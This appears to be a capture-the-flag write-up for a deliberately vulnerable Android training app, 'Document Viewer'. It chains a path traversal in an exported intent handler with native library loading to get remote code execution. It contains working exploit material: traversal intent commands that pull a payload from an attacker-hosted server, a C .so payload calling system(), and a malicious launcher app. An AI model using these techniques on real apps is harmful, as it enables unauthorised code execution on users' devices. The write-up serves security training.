Description: Welcome to the Remote Code Execution (RCE) Challenge! This lab provides a real-world scenario where you’ll explore vulnerabilities in popular software. Your mission is to exploit a path traversal vulnerability combined with dynamic code loading to achieve remote code execution.
Install the APK with ADB
adb install -r documentViewer.apk
The app appear ask for storage permissions.
Let’s inspect the source code with jadx (GUI version)
And yes, here’s the perms
This will give us a button that load a PDF file.
The package name is com.mobilehackinglab.documentviewer
.
Here’s the key, in the MainActivity class
private final void loadProLibrary() {
try {
String abi = Build.SUPPORTED_ABIS[0];
File libraryFolder = new File(getApplicationContext().getFilesDir(), "native-libraries/" + abi);
File libraryFile = new File(libraryFolder, "libdocviewer_pro.so");
System.load(libraryFile.getAbsolutePath());
this.proFeaturesEnabled = true;
} catch (UnsatisfiedLinkError e) {
Log.e(TAG, "Unable to load library with Pro version features! (You can ignore this error if you are using the Free version)", e);
this.proFeaturesEnabled = false;
}
}
We can see that the app “can” load libdocviewer_pro.so
– But, if we decompile it with apktool, we can’t see any libraries.
Also, this will try load in the native-libraries/
directory. This can will give us a Path Traversal attack.
The app can handle via Intents load .PDF
files.
In the AndroidManifest.xml we can found the MainActivity
And, in logcat, if we try load some random pdf files we can see
12-31 05:42:13.609 25010 25010 E Companion: Unable to load library with Pro version features! (You can ignore this error if you are using the Free version)
12-31 05:42:13.609 25010 25010 E Companion: java.lang.UnsatisfiedLinkError: dlopen failed: library "/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/libdocviewer_pro.so" not found
So, we need create our libdocviewer_pro.so
file!
As you already know, these libraries are written in C/C++
It mean that we can execute commands in the sandbox app context.
Notice that we have an exported intent in the MainActivity. So, we can send the file via ADB.
Here we can see how this intent is handled
private final void handleIntent() {
Intent intent = getIntent();
String action = intent.getAction();
Uri data = intent.getData();
if (Intrinsics.areEqual("android.intent.action.VIEW", action) && data != null) {
CopyUtil.INSTANCE.copyFileFromUri(data).observe(this, new MainActivity$sam$androidx_lifecycle_Observer$0(new Function1() { // from class: com.mobilehackinglab.documentviewer.MainActivity$handleIntent$1
/* JADX INFO: Access modifiers changed from: package-private */
{
super(1);
}
@Override // kotlin.jvm.functions.Function1
public /* bridge */ /* synthetic */ Unit invoke(Uri uri) {
invoke2(uri);
return Unit.INSTANCE;
}
/* renamed from: invoke, reason: avoid collision after fix types in other method */
public final void invoke2(Uri uri) {
MainActivity mainActivity = MainActivity.this;
Intrinsics.checkNotNull(uri);
mainActivity.renderPdf(uri);
}
}));
}
}
Notice that the invoke2()
method call to renderPDf()
and take uri as argument.
Also, we have this line of code
CopyUtil.INSTANCE.copyFileFromUri(data).observe(this, new MainActivity$sam$androidx_lifecycle_Observer$0(new Function1() {
There are a CopyUtil class.
Which is used when the PDF is read
public final MutableLiveData copyFileFromUri(Uri uri) {
Intrinsics.checkNotNullParameter(uri, "uri");
URL url = new URL(uri.toString());
File file = CopyUtil.DOWNLOADS_DIRECTORY;
String lastPathSegment = uri.getLastPathSegment();
if (lastPathSegment == null) {
lastPathSegment = "download.pdf";
}
File outFile = new File(file, lastPathSegment);
MutableLiveData liveData = new MutableLiveData();
BuildersKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new CopyUtil$Companion$copyFileFromUri$1(outFile, url, liveData, null), 2, null);
return liveData;
}
And also
public final MutableLiveData copyFileFromAssets(Context context, String fileName) {
Intrinsics.checkNotNullParameter(context, "context");
Intrinsics.checkNotNullParameter(fileName, "fileName");
AssetManager assetManager = context.getAssets();
File outFile = new File(CopyUtil.DOWNLOADS_DIRECTORY, fileName);
MutableLiveData liveData = new MutableLiveData();
BuildersKt.launch$default(GlobalScope.INSTANCE, Dispatchers.getIO(), null, new CopyUtil$Companion$copyFileFromAssets$1(outFile, assetManager, fileName, liveData, null), 2, null);
return liveData;
}
This use the DOWNLOADS_DIRECTORY
to copy the file.
Notice that there are a MainActivity$onCreate$1
function.
What is that?
This is an anonymous inner class automatically generated by the Java/Kotlin compiler when there is an anonymous object (such as a listener or callback) defined within the onCreate()
method of MainActivity
.
Have, in stuff code, this piece:
if (((Boolean) $result).booleanValue()) {
CopyUtil.INSTANCE.copyFileFromAssets(mainActivity$onCreate$1.this$0, "dummy.pdf");
}
return Unit.INSTANCE;
In our device, we can notice this dummy.pdf
file in /sdcard/Downloads
All this information is useful to know if a Path Traversal attack is possible.
Due to copyFileFromUri
function, we can notice that
String lastPathSegment = uri.getLastPathSegment();
if (lastPathSegment == null) {
lastPathSegment = "download.pdf";
}
File outFile = new File(file, lastPathSegment);
May be vulnerable.
We can try send the intent through ADB.
But, first set a python server
python3 -m http.server 8081
Then
adb shell am start \
-n com.mobilehackinglab.documentviewer/.MainActivity \
-a android.intent.action.VIEW \
-d "http://:/"
Notice that the file testDocumentViewer.txt
is in /sdcard/Downloads
(Does not validate file type (.PDF)
After many tries, I got it
We only had to send the coded request, in addition, create the directories for the 200(OK) request./data/data/com.mobilehackinglab.documentviewer/files
Then, we can see in the device we have the .txt
file!
Path Traversal, check.
Now let’s inspect the code for native libraries
private final void loadProLibrary() {
try {
String abi = Build.SUPPORTED_ABIS[0];
File libraryFolder = new File(getApplicationContext().getFilesDir(), "native-libraries/" + abi);
File libraryFile = new File(libraryFolder, "libdocviewer_pro.so");
System.load(libraryFile.getAbsolutePath());
this.proFeaturesEnabled = true;
} catch (UnsatisfiedLinkError e) {
Log.e(TAG, "Unable to load library with Pro version features! (You can ignore this error if you are using the Free version)", e);
this.proFeaturesEnabled = false;
}
}
We can see that the library is loaded in /data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/
Due to sandboxAppDir/files + /native-libraries/ + abi (Application Binary Interface)
.
What is abi
?
This defines how an application’s binary code interacts with the underlying operating system and CPU. It is basically a contract that determines:
- How arguments are passed to functions.
- How values are returned.
- How memory and registers are organized.
- What type of instructions are available.
Android applications may contain native code (using NDK) that depends directly on the ABI to run correctly on different CPU architectures.
How get the abi
from our device?
Just run with ADB this command
adb shell getprop ro.product.cpu.abi
When you compile native code using the NDK (Native Development Kit), you generate specific .so
libraries (Shared Object Files) for each ABI.
lib/
├── armeabi-v7a/
│ ├── libnative-lib.so
├── arm64-v8a/
│ ├── libnative-lib.so
├── x86/
│ ├── libnative-lib.so
└── x86_64/
└── libnative-lib.so
Operative system will select automatically the correct library.
- armeabi-v7a: 32-bit ARM CPU, efficient in power consumption, but limited in processing.
- arm64-v8a: 64-bit ARM CPU, can handle more memory and is faster.
- x86 / x86_64: More common in emulators and some Intel devices; less battery efficient.
Let’s create our .so
library!
We need install Android NDK (ndk-build
)
Then, we need create the folders
mkdir -p jni libs obj
Must look like
📂 workDirectory/
├── 📂 jni/
│ ├── 📄 Android.mk
│ ├── 📄 Application.mk
│ ├── 📄 libdocviewer_pro.c
└── 📂 libs/
└── 📂 obj/
In libdocviewer_pro.c
#include
#include
#include
#define LOG_TAG "RCE-Payload"
#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
// RCE
JNIEXPORT void JNICALL
Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures(JNIEnv* env, jobject /* this */) {
LOGI("[+] Payload: initProFeatures");
system("id > /data/data/com.mobilehackinglab.documentviewer/lautaro.txt");
system("whoami > /data/data/com.mobilehackinglab.documentviewer/whoami.txt");
}
JNIEXPORT jstring JNICALL
Java_com_mobilehackinglab_documentviewer_MainActivity_stringFromJNI(JNIEnv* env, jobject /* this */) {
return (*env)->NewStringUTF(env, "Hello from native lib");
}
In Android.mk
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := libdocviewer_pro
LOCAL_SRC_FILES := libdocviewer_pro.c
LOCAL_LDLIBS := -llog
LOCAL_CFLAGS := -std=c11
include $(BUILD_SHARED_LIBRARY)
In Application.mk
APP_ABI := all
APP_PLATFORM := android-24
Compile it with
ndk-build clean && ndk-build
You must see an output like this
[arm64-v8a] Install : libdocviewer_pro.so => libs/arm64-v8a/libdocviewer_pro.so
[riscv64] Install : libdocviewer_pro.so => libs/riscv64/libdocviewer_pro.so
[x86_64] Install : libdocviewer_pro.so => libs/x86_64/libdocviewer_pro.so
[armeabi-v7a] Install : libdocviewer_pro.so => libs/armeabi-v7a/libdocviewer_pro.so
[x86] Install : libdocviewer_pro.so => libs/x86/libdocviewer_pro.so
Then, update your work directory for host the .so
file
/documentViewer/data/data/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a ls
. .. libdocviewer_pro.so
And, as the .txt
we just need send it through a intent.
adb shell am start \
-n com.mobilehackinglab.documentviewer/.MainActivity \
-a android.intent.action.VIEW \
-d "http://192.168.18.44:8081/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so"
That work!
Here’s a Java code if you prefer use an “malicious” app:
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Uri uri = Uri.parse("http://:/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2F%2Flibdocviewer_pro.so");
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setClassName("com.mobilehackinglab.documentviewer", "com.mobilehackinglab.documentviewer.MainActivity");
intent.setData(uri);
startActivity(intent);
}
}
I hope you found it useful (:
Leave a Reply